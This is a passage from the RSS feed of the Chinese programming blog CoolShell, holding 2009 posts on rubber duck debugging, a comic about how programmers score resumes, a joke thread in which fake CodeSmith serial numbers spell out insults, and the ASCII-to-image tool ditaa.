class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1719.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1719.html\">橡皮鸭程序调试法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"size-thumbnail wp-image-1721 alignright\" title=\"Rubber Duck Debugging\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" alt=\"Rubber Duck Debugging\" width=\"150\" height=\"150\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg 150w, https://coolshell.cn/wp-content/uploads/2009/11/Rubber-Duck-200x200.jpg 200w\" sizes=\"(max-width: 150px) 100vw, 150px\" />下面，让我来为你介绍一个程序调试大法——“橡皮鸭程序调试法”，这个方法在调试界是很出众的，实施起来相当方便和简易，几乎可以随时随地地实验，几乎不需要借助任何的软件和硬件的支持，你甚至可以把你的程序打印出来，在纸面上进行调试。</p>\n<p>那么，为什么这个方法要叫做橡皮鸭呢？因为橡皮鸭子是西方人在泡澡时最喜欢玩的一个小玩具，所以，这个东西应该家家户户都必备的。因为，这个方法由西方人发明，所以，就被取名为“橡皮鸭”了。</p>\n<p>好了，话不多说，下面是整个调试方法的流程。</p>\n<ol>\n<li>找一个橡皮鸭子。你可以去借，去偷，去抢，去买，自己制作……反正你要搞到一个橡皮鸭子。</li>\n<li>把这个橡皮鸭子放在你跟前。标准做法是放在你的桌子上，电脑显示器边，或是键盘边，反正是你的跟前，面朝你。</li>\n<li>然后，打开你的源代码。不管是电脑里的还是打印出来的。</li>\n<li>对着那只橡皮鸭子，把你写下的所有代码，一行一行地，精心地，向这只橡皮鸭子解释清楚。记住，这是解释，你需要解释出你的想法，思路，观点。不然，那只能算是表述，而不是解释。</li>\n<li>当你在向这只始终保持沉默的橡皮鸭子解释的过程中，你会发现你的想法，观点，或思路和实际的代码相偏离了，于是你也就找到了代码中的bug。</li>\n<li>找到了BUG，一定要记得感谢一下那个橡皮鸭子哦。</li>\n</ol>\n<p>什么？你觉得这个方法太“愚蠢”，太“弱智”了？是的，看上去，会这样做的人脑子好像是有点毛病。不过，我要告诉你的是，这个方法的确有效。<strong>因为，这就是“Code Review”的雏形</strong>！下面让我来给你解释一下。</p>\n<p><span id=\"more-1719\"></span></p>\n<blockquote><p>Once a problem is described in sufficient detail, its solution is obvious.</p></blockquote>\n<p>上面这句话的意思是</p>\n<blockquote><p>一旦一个问题被充分地描述了他的细节，那么解决方法也是显而易见的。</p></blockquote>\n<p>我相信在座的各位都有过这样的经历，当你死活都找不到问题的原因的时候，当你寻求他人的帮助时，对别人解释整个你的想法和意图或是问题背景的时候，你自己都没有解释完，就已经找到问题的原因了。这样的经历，相信大家一定有过。这就是这个方法的意义所在。</p>\n<p>所以，“橡皮鸭”只是一个形式，其主要目的是要你把自己写的代码做“自查”，也就是自己解释给自己听。当然，为了不让你像个“精神分裂”的程序员，引入“橡皮鸭”是很有必要的（虽然这样还是有点精神病，但比起精神分裂来说算是好的了，嘻嘻）。所以，真实的本质是Code Review。关于代码评审，大家可以看一下我的这篇文章《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1302.html\">Code Review中的几个提示</a>》，你会明白其中更多的东西的。</p>\n<p>最后，我想和大家说一下道具“橡皮鸭”。是的，在我们的身边，你不一定能找得“橡皮鸭”，但你可以找到你你的同事，你的朋友，来做这个“橡皮鸭”，当然，他们并不一定有“橡皮鸭”好使，因为你的那些同事或朋友一定会在你解释的时候，随意地发表意见和看法，相当的令人annoying。《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1302.html\">Code Review中的几个提示</a>》和《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/16.html\">结对编程的利与弊</a>》也谈到了一些，供你借鉴。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/17757.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" alt=\"如何重构“箭头型”代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17757.html\" class=\"wp_rp_title\">如何重构“箭头型”代码</a></li><li ><a href=\"https://coolshell.cn/articles/11432.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/code_review-150x150.jpg\" alt=\"从Code Review 谈如何做技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11432.html\" class=\"wp_rp_title\">从Code Review 谈如何做技术</a></li><li ><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/20110620115951113-150x150.gif\" alt=\"一个空格引发的惨剧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4875.html\" class=\"wp_rp_title\">一个空格引发的惨剧</a></li><li ><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"GDB 7.0 发布\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_title\">GDB 7.0 发布</a></li><li ><a href=\"https://coolshell.cn/articles/1502.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"高科技：GDB回溯调试\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1502.html\" class=\"wp_rp_title\">高科技：GDB回溯调试</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1719.html\">橡皮鸭程序调试法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1719.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>26</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>别的程序员是怎么读你的简历的</title>\n\t\t<link>https://coolshell.cn/articles/1695.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1695.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 09 Nov 2009 02:22:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<category><![CDATA[简历]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1695</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个图片来源国外，是一个关于程序员面试时的简历，被人事部门和程序员本身评审的角度不同的图片。当然，这是一个从国外面试的视角制作的图片，不过，可以看出，其中很...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1695.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1695.html\">别的程序员是怎么读你的简历的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/resume_comic.png\"></a>下面这个图片来源国外，是一个关于程序员面试时的简历，被人事部门和程序员本身评审的角度不同的图片。当然，这是一个从国外面试的视角制作的图片，不过，可以看出，其中很多东西都是和国内是相同的。让我们通过这个图片也来了解一下自身吧。</p>\n<p align=\"center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/resume_comic.png\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" title=\"程序员怎样阅读简历\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/resume_comic-552x1024.png\" alt=\"程序员怎样阅读简历（点击看大图）\" width=\"552\" height=\"1024\" /></a></p>\n<p>下面是我对其做的翻译，翻译水平有限，请大家指正。</p>\n<p><span id=\"more-1695\"></span></p>\n<h4>人事部门是这样阅读简历的</h4>\n<ul>\n<li>（+15分）如果简历中说到了和工作职位相符的技能超过5次以上。</li>\n<li>（+8分）如果简历中说到了和工作职位相符的技能3次到5次。</li>\n<li>（+4分）如果简历中说到了和工作职位相符的技能1次到2次。</li>\n<li>（+4分）Cover Letter（“求职信”或“自荐信”）提到了招聘人员。</li>\n<li>（+2分）简历中有Cover Letter（求职信）。</li>\n<li>（-10分）没有提到和职位描述相关的技能。</li>\n<li>（-15分）没有受过大专教育。</li>\n</ul>\n<h4>程序员是这样阅读简历的</h4>\n<ul>\n<li>（+15分）曾经因为好玩而写过操作系统或编译器。</li>\n<li>（+12分）简历被LaTeX编译过。</li>\n<li>（+11分）为开源软件贡献过代码。</li>\n<li>（+9分）上学的时候曾经写过操作系统或编译器。</li>\n<li>（+8分）有一个BLOG分享技术知识。</li>\n<li>（+8分）编程/机器人/工程俱乐部主席。</li>\n<li>（+7分）编程/机器人/工程竞赛参与者。</li>\n<li>（+7分）在Google和Microsoft实习过。</li>\n<li>（+6分）使用动态语言（Python/Perl/Ruby）写过非试验性的程序。</li>\n<li>（+5分）知道3种或多于3种的编程语言。</li>\n<li>（+5分）之前的工作和目前的职位有很相似的经验。</li>\n<li>（+4分）有过实习经验。</li>\n<li>（+4分）自己创过业开过公司。</li>\n<li>（+4分）有一个通过Rail, PHP或ASP.NET的个人主页。</li>\n<li>（+3分）有一个自己域名的邮件地址。</li>\n<li>（+3分）改过一些由动态语言（Python/Perl/Ruby）写的程序。</li>\n<li>（+2分）有一个个人主页。</li>\n<li>（+1分）高学历，学习成绩优秀，等。</li>\n<li>（+0分）有奖学金。</li>\n<li>（+0分）在快餐店工作过。</li>\n<li>（-0.5分）Fackbook上有一张看上去喝醉了的照片。</li>\n<li>（-1分）有博士头衔。</li>\n<li>（-2分）有一个一般的求职信。</li>\n<li>（-2分）在简历中说自己懂Word/Excel。</li>\n<li>（-2分）在简历中有拼写和语法错误。</li>\n<li>（-3分）简历的字体太小。</li>\n<li>（-4分）所有的编程经验只是在学校中。</li>\n<li>（-4分）只知道一门编程语言。</li>\n<li>（-6分）简历有三页以上。</li>\n<li>（-6分）简历中有一些无关的东西。</li>\n<li>（-7分）得到过一些课程的认证。</li>\n<li>（-8分）相关专业课程很低的成绩。</li>\n<li>（-10分）在技能中，把Visual Basic列在第一的位置。</li>\n<li>（-12分）在Facebook中，有过光膀子的照片。</li>\n<li>（-15分）简历中的缩进同时使用了空格和Tab键。</li>\n</ul>\n<p>我个人觉得其中的很多东西真是说出了程序员的那种特性。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1695.html\">别的程序员是怎么读你的简历的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1695.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>105</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>给我一个序列号</title>\n\t\t<link>https://coolshell.cn/articles/1693.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1693.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 09 Nov 2009 00:01:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[序列号]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1693</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面这个链接是CodeSmith官网网站论坛上的一个贴子。http://community.codesmithtools.com/forums/p/10000/...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1693.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1693.html\">给我一个序列号</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面这个链接是CodeSmith官网网站论坛上的一个贴子。<a href=\"http://community.codesmithtools.com/forums/p/10000/37140.aspx\">http://community.codesmithtools.com/forums/p/10000/37140.aspx</a>。在这个贴子里，某位大哥问CodeSmith要一个序列号，一个叫Blake Niemyjski的人，可能是CodeSmith这家公司的客服人说回答到，如果要序列号，需要找他们的销售人员。</p>\n<p>而这位老哥却说，“我要的是一个被破解的序列号，我手上有很多CodeSmith 5.0版的序列号，都可以使用，而你们把软件升级到了5.1，那些序列号都无法使用了”。客服人员无奈下，只得给出了下面的序列号：</p>\n<p style=\"text-align: center;\"><strong>CS50P-0NLY4-1D10T-W0ULD-TRYT0-45KU5-TH15Q</strong></p>\n<p>当然，这个序列号并不行，而老哥没有发现这序列号中的端倪，继续问，后面，很多“热心网友”们都来帮忙，给了一些如下的序列号：</p>\n<p style=\"text-align: center;\">BL4K3-WH47K-1ND0F-700LI-57H1S-1DI07-4NYWY<br />\nW3LLH-4S7H3-P3NNY-DR0PP-3D4UY-37U45-5WIP3<br />\nUKINT-RYTH1-51FUH-AVAVR-Y5MAL-P3N1S<br />\n1FUH4-VN0P3-N1STH-1S1S8-3TT3R-JU57K-1DD3N</p>\n<p>呵呵，你看出这些序列号其中的含义了吗？呵呵。下面是翻译：</p>\n<p><span id=\"more-1693\"></span></p>\n<p>CS50P-0NLY4-1D10T-W0ULD-TRYT0-45KU5-TH15Q<br />\nCS5.0 Pro, Only an idiot would try to ask us this q （q的意思是question）</p>\n<p>BL4K3-WH47K-1ND0F-700LI-57H1S-1DI07-4NYWY<br />\nBlake, What kind of tool is this idiot anyway? （Blake就是那个客服）</p>\n<p>W3LLH-4S7H3-P3NNY-DR0PP-3D4UY-37U45-5WIP3<br />\nWell has the penny dropped for you yet? U asswipe.</p>\n<p>UKINT-RYTH1-51FUH-AVAVR-Y5MAL-P3N1S<br />\nYou can try this if you have a very small penis.</p>\n<p>1FUH4-VN0P3-N1STH-1S1S8-3TT3R-JU57K-1DD3N<br />\nIf you have no penis this is better just kidding.</p>\n<p>上面的这些英文我就不翻译了，大家就算是看个乐吧。关于这样的恶搞，还有很多，大家可以看看《<a title=\"编程真难啊 - 3,812 次浏览\" href=\"https://coolshell.cn/articles/1391.html\">编程真难啊</a>》，还有《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1619.html\">Windows 7 的新粉丝 Linus Torvalds</a>》<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Web版的VNC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_title\">Web版的VNC</a></li><li ><a href=\"https://coolshell.cn/articles/8489.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/google-go-language-150x150.jpg\" alt=\"Go 语言简介（下）— 特性\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8489.html\" class=\"wp_rp_title\">Go 语言简介（下）— 特性</a></li><li ><a href=\"https://coolshell.cn/articles/394.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"十大史上最恶心的操作系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/394.html\" class=\"wp_rp_title\">十大史上最恶心的操作系统</a></li><li ><a href=\"https://coolshell.cn/articles/5164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"CSS图形\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5164.html\" class=\"wp_rp_title\">CSS图形</a></li><li ><a href=\"https://coolshell.cn/articles/18140.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg\" alt=\"关于Facebook 的 React 专利许可证\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18140.html\" class=\"wp_rp_title\">关于Facebook 的 React 专利许可证</a></li><li ><a href=\"https://coolshell.cn/articles/1579.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/operating-systems-150x150.jpg\" alt=\"一张关于操作系统的图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1579.html\" class=\"wp_rp_title\">一张关于操作系统的图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1693.html\">给我一个序列号</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1693.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>20</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>把ASCII图转成图片</title>\n\t\t<link>https://coolshell.cn/articles/1684.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1684.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 07 Nov 2009 16:20:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[ditaa]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1684</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们都知道有很多软件帮我们把图片转成ASCII码图，这里这个工具是帮我们把ASCII图转成漂亮的图片。这个开源的软件是一个用Java写成的一个命令行的工具。对于...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1684.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1684.html\">把ASCII图转成图片</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\">我们都知道有很多软件帮我们把图片转成ASCII码图，这里这个工具是帮我们把ASCII图转成漂亮的图片。这个开源的软件是一个用Java写成的一个命令行的工具。对于这个工具的目的，我个人以为如下：</p>\n<ul style=\"text-align: left;\">\n<li>其一，可以把别人的ASCII图转成图片，于是更好看一些。</li>\n<li>其二，你可以使用ASCII码画图，而不需要使用图片编辑器。</li>\n<li>其三，因为是命令行，所以，你完全可以以脚本或程序的方法来作图了。</li>\n</ul>\n<p style=\"text-align: left;\">这个工具软件叫ditaa，其网址是：<a href=\"http://ditaa.sourceforge.net/\">http://ditaa.sourceforge.net/</a>。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://ditaa.sourceforge.net/images/logo.png\" alt=\"\" /><img decoding=\"async\" src=\"http://ditaa.sourceforge.net/images/arrow_hor.png\" alt=\"\" /></p>\n<p style=\"text-align: left;\">这个小工具支持一些语法定义，可以帮你更好地产生图片，如下所示：</p>\n<p style=\"text-align: left;\"><span id=\"more-1684\"></span></p>\n<p style=\"text-align: left;\"><strong>圆角矩形</strong></p>\n<table style=\"text-align: left;\" border=\"0\" cellspacing=\"15\">\n<tbody>\n<tr>\n<td align=\"center\">\n<pre>/--+\n|  |\n+--/</pre>\n</td>\n<td align=\"center\"><img decoding=\"async\" src=\"http://ditaa.sourceforge.net/images/round_corner.png\" alt=\"round corner demo\" /></td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: center;\">\n<p style=\"text-align: left;\"><strong>定义颜色</strong></p>\n<table style=\"text-align: left;\" border=\"0\" cellspacing=\"15\">\n<tbody>\n<tr>\n<td>\n<pre>Color codes\n/-------------+-------------\\\n|cRED RED     |cBLU BLU     |\n+-------------+-------------+\n|cGRE GRE     |cPNK PNK     |\n+-------------+-------------+\n|cBLK BLK     |cYEL YEL     |\n\\-------------+-------------/</pre>\n</td>\n<td align=\"center\"><img decoding=\"async\" src=\"http://ditaa.sourceforge.net/images/color_codes.png\" alt=\"color code\" /></td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: center;\">\n<p style=\"text-align: center;\">\n<p style=\"text-align: center;\">\n<p style=\"text-align: left;\"><strong>一些图示</strong></p>\n<table style=\"text-align: left;\" border=\"0\" cellspacing=\"5\">\n<tbody>\n<tr>\n<th>名字</th>\n<th>ASCII</th>\n<th>图版</th>\n<th>注释</th>\n</tr>\n<tr>\n<td valign=\"top\">文档</td>\n<td align=\"center\">\n<pre>+-----+\n|{d}  |\n|     |\n|     |\n+-----+</pre>\n</td>\n<td><img decoding=\"async\" src=\"http://ditaa.sourceforge.net/images/document.png\" alt=\"\" /></td>\n<td valign=\"top\">表示文件</td>\n</tr>\n<tr>\n<td valign=\"top\">存储</td>\n<td align=\"center\">\n<pre>+-----+\n|{s}  |\n|     |\n|     |\n+-----+</pre>\n</td>\n<td><img decoding=\"async\" src=\"http://ditaa.sourceforge.net/images/storage.png\" alt=\"\" /></td>\n<td valign=\"top\">表示数据库或磁盘</td>\n</tr>\n<tr>\n<td valign=\"top\">输入<br />\n输出</td>\n<td align=\"center\">\n<pre>+-----+\n|{io} |\n|     |\n|     |\n+-----+</pre>\n</td>\n<td><img decoding=\"async\" src=\"http://ditaa.sourceforge.net/images/io.png\" alt=\"\" /></td>\n<td valign=\"top\">输入/输出标志。</td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: center;\">\n<p style=\"text-align: center;\">\n<p style=\"text-align: center;\">\n<p style=\"text-align: left;\"><strong>线条设置</strong></p>\n<table style=\"text-align: left;\" border=\"0\" cellspacing=\"15\">\n<tbody>\n<tr>\n<td>\n<pre>----+  /----\\  +----+\n    :  |    |  :    |\n    |  |    |  |{s} |\n    v  \\-=--+  +----+</pre>\n</td>\n<td align=\"center\"><img decoding=\"async\" src=\"http://ditaa.sourceforge.net/images/dashed_demo.png\" alt=\"\" /></td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: center;\">\n<p style=\"text-align: center;\">\n<p style=\"text-align: center;\">\n<p style=\"text-align: left;\">\n<p style=\"text-align: left;\"><strong>线上的链接点</strong></p>\n<table style=\"text-align: left;\" border=\"0\" cellspacing=\"15\">\n<tbody>\n<tr>\n<td>\n<pre>*----*\n|    |      /--*\n*    *      |\n|    |  -*--+\n*----*</pre>\n</td>\n<td align=\"center\"><img decoding=\"async\" src=\"http://ditaa.sourceforge.net/images/point_marker.png\" alt=\"point marker demo\" /></td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: left;\">\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">\n<p style=\"text-align: left;\"><strong>文本</strong></p>\n<table style=\"text-align: lef;\" border=\"0\" cellspacing=\"15\">\n<tbody>\n<tr>\n<td>\n<pre>/-----------------\\\n| Things to do    |\n| cGRE            |\n| o Cut the grass |\n| o Buy jam       |\n| o Fix car       |\n| o Make website  |\n\\-----------------/</pre>\n</td>\n<td align=\"center\"><img decoding=\"async\" src=\"http://ditaa.sourceforge.net/images/bullet.png\" alt=\"bullet point demo\" /></td>\n</tr>\n</tbody>\n</table>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" 